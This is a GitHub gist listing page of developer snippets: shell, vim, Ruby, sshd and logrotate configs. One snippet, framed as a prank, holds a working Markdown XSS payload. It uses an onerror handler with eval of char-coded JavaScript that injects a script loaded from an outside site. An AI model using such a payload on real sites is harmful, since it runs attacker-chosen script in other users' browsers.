Skip to content

Instantly share code, notes, and snippets.

@rgo
rgo / kernel_module.sh
Created November 4, 2017 22:34 — forked from probonopd/kernel_module.sh
Trying to compile kernel module for Ralink 3070 chipset
#
# Trying to compile kernel module for Ralink 3070 chipset
# with patch described on
# http://www.geekamole.com/2013/rt2800usb-fix-for-ralinkmediatek-3070-gentoo-linux/
#
apt-get install linux-headers-3.7-trunk-686-pae # This is on Kali Linux; 3 MB
apt-get install linux-source-3.7 # http://ftp.halifax.rwth-aachen.de/kali/pool/main/l/linux-kali/linux-source-3.7_3.7.2-0+kali8_all.deb # 82 MB
tar xfj /usr/src/linux-source-3.7.tar.bz2
cd linux-*
@rgo
rgo / gist:7e1847d7c10ee43fa5de012d5a268a48
Created September 22, 2016 11:54 — forked from sgergely/gist:3793166
Midnight Commander Keyboard Shortcuts for Mac OSX
----- Esc -----
Quick change directory: Esc + c
Quick change directory history: Esc + c and then Esc + h
Quick change directory previous entry: Esc + c and then Esc + p
Command line history: Esc + h
Command line previous command: Esc + p
View change: Esc + t (each time you do this shortcut a new directory view will appear)
Print current working directory in command line: Esc + a
Switch between background command line and MC: Ctrl + o
Search/Go to directory in active panel: Esc + s / Ctrl + s then start typing directory name
@rgo
rgo / .vimrc
Created September 22, 2016 10:46 — forked from fxn/.vimrc
function! s:EnableRelativeNumber()
set nonumber
set relativenumber
endfunction
function! s:DisableRelativeNumber()
set norelativenumber
set number
endfunction

Want to add Cornify (http://www.cornify.com/) to a website that has a Markdown XSS exploit?

![uh](http://example.com"onerror="javascript:eval\(String\.fromCharCode\(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,99,111,114,110,105,102,121,46,99,111,109,47,106,115,47,99,111,114,110,105,102,121,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,32,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,32,99,111,114,110,105,102,121,95,97,100,100,40,41,32,125,44,32,49,48,48,48,41,59\)\))

The above code does this:

var s=document.createElement('script'); s.src='http://www.cornify.com/js/cornify.js';document.getElementsByTagName('head')[0].append

@rgo
rgo / Rakefile
Created February 27, 2014 01:04
# change foo to your library name
# change Foo::Database to your Sequel database
namespace :bundler do
task :setup do
require 'rubygems'
require 'bundler/setup'
end
end
@rgo
rgo / sshd_config
Created September 5, 2013 09:15 — forked from knoopx/sshd_config
# This prevents capistrano from hanging when executing long tasks
# /etc/ssh/sshd_config
TCPKeepAlive yes
ClientAliveInterval 15
ClientAliveCountMax 5
# Restart sshd
@rgo
rgo / gist:1173243
Created August 26, 2011 11:36 — forked from diecrf/gist:1170410
Delete unused images in a rails project
images = Dir.glob('public/images/*')
images.each do |image|
unless File.directory?(image)
puts "Checking #{image}..."
if IO.popen("ack-grep -1 -G '(app|public)' --ruby --html --css #{File.basename(image)}").eof?
IO.popen("svn delete #{image}")
puts " Deleted"
end
end
/path/to/rails_apps/*/log/*.log {
daily
missingok
rotate 30
compress
delaycompress
sharedscripts
postrotate
find /path/to/rails_apps/* -name tmp -maxdepth 1 -type d -exec touch {}/restart.txt \;
endscript
@rgo
rgo / .irbrc.rb
Created January 11, 2011 11:14 — forked from diecrf/.irbrc.rb
# IRBRC file by Iain Hecker, http://iain.nl
# put all this in your ~/.irbrc
require 'rubygems'
require 'yaml'
alias q exit
class Object
def local_methods
(methods - Object.instance_methods).sort
@rgo
rgo / Gemfile
Created May 23, 2010 01:31 — forked from indirect/Gemfile
# include at least one source and the rails gem
source :gemcutter
gem 'rails', '~> 2.3.5', :require => nil
gem 'sqlite3-ruby', :require => 'sqlite3'
# Devise 1.0.2 is not a valid gem plugin for Rails, so use git until 1.0.3
# gem 'devise', :git => 'git://github.com/plataformatec/devise.git', :ref => 'v1.0'
group :development do
# bundler requires these gems in development